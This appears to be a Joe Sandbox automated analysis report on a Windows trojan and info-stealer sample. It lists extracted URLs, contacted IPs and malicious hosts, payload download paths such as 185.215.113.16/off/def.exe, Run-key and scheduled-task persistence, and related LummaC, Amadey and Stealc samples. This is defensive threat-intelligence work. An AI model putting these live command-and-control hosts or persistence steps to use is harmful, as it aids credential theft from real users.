https://docs.rs/getrandom#nodejs-es-module-support	96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api&.	ef2e7274a0.exe, 00000020.00000003.2824227619.00000000015ED000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2841601742.00000000015F0000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/bz5v	0bdaf26796.exe, 00000009.00000003.2478367978.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2476498592.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Q	0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001D.00000003.2713590491.00000214EAACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2713590491.00000214EAAC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2584713703.00000214EAAF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2697115919.00000214E9CEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2696194181.00000214F1E9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2586410325.00000214E9CF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2697115919.00000214E9CD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://coverage.mozilla.org	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blocked.cdn.mozilla.net/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/n	file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla.cloudflare-dns.com/dns-query	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2757325521.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search	firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://relay.firefox.com/api/v1/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://topsites.services.mozilla.com/cid/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/	0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/complete/search	firefox.exe, 0000001D.00000003.2695950852.00000214F2190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2693935077.00000214F21D9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	0bdaf26796.exe, 00000019.00000003.2772591374.0000000001453000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2842253806.00000000015F6000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2841601742.00000000015F6000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2678251026.00000000015E5000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2826712800.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2824088172.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2807038479.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2806881421.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/recommendations	firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts	firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeeRs	file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/firefox/language-tools/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeO	file.exe, 00000000.00000003.1870527324.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870872236.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://blocked.cdn.mozilla.net/%blockID%.html	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.185.238	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546462
Start date and time:	2024-10-31 23:36:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/31@66/8
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.11.191.138, 35.160.212.113, 54.185.230.140
Excluded domains from analysis (whitelisted): prod.balrog.prod.cloudops.mozgcp.net, fs.microsoft.com, shavar.prod.mozaws.net, slscr.update.microsoft.com, otelrules.azureedge.net, spocs.getpocket.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, aus5.mozilla.org, detectportal.prod.mozaws.net, contile.services.mozilla.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, prod.ads.prod.webservices.mozgcp.net, location.services.mozilla.com
Execution Graph export aborted for target 0bdaf26796.exe, PID 736 because there are no executed function
Execution Graph export aborted for target NN5L9AGTEIQO79C9NX.exe, PID 7864 because it is empty
Execution Graph export aborted for target file.exe, PID 7356 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4340 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8104 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:36:59	API Interceptor	9x Sleep call for process: file.exe modified
18:38:01	API Interceptor	3672x Sleep call for process: skotes.exe modified
18:38:12	API Interceptor	62x Sleep call for process: 0bdaf26796.exe modified
18:38:25	API Interceptor	294x Sleep call for process: num.exe modified
18:38:34	API Interceptor	11x Sleep call for process: ef2e7274a0.exe modified
18:38:37	API Interceptor	206x Sleep call for process: 96b4cd4489.exe modified
18:38:38	API Interceptor	8x Sleep call for process: 01b01f6224.exe modified
22:37:22	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:38:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0bdaf26796.exe C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
22:38:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 96b4cd4489.exe C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe
22:38:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 60eccf97f7.exe C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe
22:38:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003023001\num.exe
22:38:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0bdaf26796.exe C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
22:39:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 96b4cd4489.exe C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe
22:39:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 60eccf97f7.exe C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
188.114.97.3	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/vdlzo
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	rPO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://hotmail.pizza4you.com.br/	Get hash	malicious	Mamba2FA	Browse	104.17.25.14
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.96.3
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://bafybeiddvo3il63heagouckt2pt3cr4xxiogr3tuansgqgmot65ahjsfma.ipfs.dweb.link/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
